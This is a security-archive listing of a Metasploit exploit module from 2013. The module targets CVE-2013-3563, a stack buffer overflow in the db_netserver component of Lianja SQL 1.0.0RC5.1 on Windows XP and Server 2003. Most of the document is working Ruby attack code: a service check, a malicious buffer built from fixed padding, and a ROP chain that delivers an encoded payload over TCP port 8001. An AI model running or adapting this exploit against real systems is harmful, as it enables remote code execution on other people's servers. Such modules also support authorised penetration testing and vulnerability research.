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Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow
Posted May 31, 2013
Authored by Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the db_netserver process which is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.

tags | exploit, overflow
advisories | CVE-2013-3563
MD5 | c879e1e5716cef4a74c310721de2df60

Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::RopDb

def initialize(info = {})
super(update_info(info,
'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the db_netserver process which
is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-3563' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 20
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'StackAdjustment' => -3500,
'Space' => 500,
'BadChars' => "\x01"
},
'Targets' =>
[
[ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
[ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'May 22 2013'))

register_options(
[
Opt::RPORT(8001),
], self.class)
end

def check
begin
connect
rescue
return Exploit::CheckCode::Safe
end
sock.put("db_net")
if sock.recv(4) =~ /\d{1,5}/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit
connect
sock.put("db_net")
sock.recv(4)

print_status("#{rhost}:#{rport} - Sending Malicious Data")
evil_data = '000052E1'
evil_data << 'A'
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
sock.put(evil_data)
disconnect
end
end

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